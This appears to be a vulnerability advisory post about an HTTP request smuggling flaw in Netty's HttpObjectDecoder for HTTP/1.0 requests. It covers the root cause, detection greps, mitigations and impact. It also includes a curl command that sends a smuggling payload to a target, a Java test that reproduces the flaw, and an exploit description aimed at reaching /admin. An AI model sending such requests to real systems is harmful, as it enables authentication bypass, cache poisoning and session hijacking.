Listen to this Post
How the mentioned vulnerability works (CVE not assigned, but the flaw operates as follows):
The Netty `HttpObjectDecoder` handles HTTP/1.0 and HTTP/1.1 differently when both `Transfer-Encoding: chunked` and `Content-Length` headers coexist. For HTTP/1.1, the decoder correctly strips the `Content-Length` header to avoid ambiguity, delegating to handleTransferEncodingChunkedWithContentLength(). However, for HTTP/1.0, the version check (message.protocolVersion() == HttpVersion.HTTP_1_1) fails, so the stripping logic is skipped. The decoder still processes the body as chunked, but the `Content-Length` header remains in the forwarded HttpMessage. A downstream proxy or handler that prioritizes `Content-Length` over `Transfer-Encoding` (e.g., nginx, HAProxy in CL‑first mode) will see `Content-Length: 0` and believe the request ends after the blank line. The chunked body bytes (5\r\nGPOST\r\n0\r\n\r\n) are then interpreted as the start of a second, smuggled request. This enables classic request smuggling: cache poisoning, session fixation, and bypassing WAF/auth that only inspect the first request. The root cause is the conditional guard at lines 828‑833 in HttpObjectDecoder.java. A confirmed PoC uses an embedded channel with an HTTP/1.0 request containing both headers, proving the `Content-Length` survives. The fix removes the HTTP/1.1 guard and applies the stripping unconditionally.
DailyCVE form:
Platform: Netty codec-http
Version: before fix commit
Vulnerability: Request smuggling HTTP/1.0
Severity: HIGH
date: 2026-05-06
Prediction: 2026-05-20
Analytics under What Undercode Say:
Detect vulnerable Netty version (example using grep on jar) jar -xf netty-codec-http-.jar && grep -A5 "handleTransferEncodingChunkedWithContentLength" io/netty/handler/codec/http/HttpObjectDecoder.class Test with curl (send smuggled payload) curl -v -H "Transfer-Encoding: chunked" -H "Content-Length: 0" --http1.0 -X POST http://target/api -d $'5\r\nGPOST\r\n0\r\n\r\n' Monitor for smuggled request patterns in access logs grep -E "GPOST|smuggle" /var/log/nginx/access.log
Java test code (from ):
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH)); // vulnerable
Exploit:
Send an HTTP/1.0 POST request with both `Transfer-Encoding: chunked` and Content-Length: 0. Netty forwards the `Content-Length: 0` header to downstream. A CL‑first proxy sees zero‑length body, closes request, and treats the chunked data (5\r\nGPOST\r\n0\r\n\r\n) as a new request. The smuggled request (e.g., GPOST /admin HTTP/1.1) bypasses front‑end security checks.
Protection from this CVE:
- Upgrade Netty to a patched version (once available) where `HttpObjectDecoder` strips `Content-Length` for all HTTP versions when `Transfer-Encoding: chunked` is set.
- As a workaround, configure downstream proxies to be TE‑first (e.g., nginx `proxy_http_version 1.1;` plus default TE handling) or reject HTTP/1.0 requests entirely.
- Deploy a WAF that normalizes conflicting headers by removing `Content-Length` when `Transfer-Encoding` appears, regardless of HTTP version.
- Monitor for HTTP/1.0 requests containing both `Transfer-Encoding` and `Content-Length` headers.
Impact:
Request smuggling at the Netty edge. Allows an attacker to poison caches, hijack sessions, access internal endpoints behind authentication, and bypass WAF rules that inspect only the first request. The smuggled request inherits the connection context of the original victim user.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
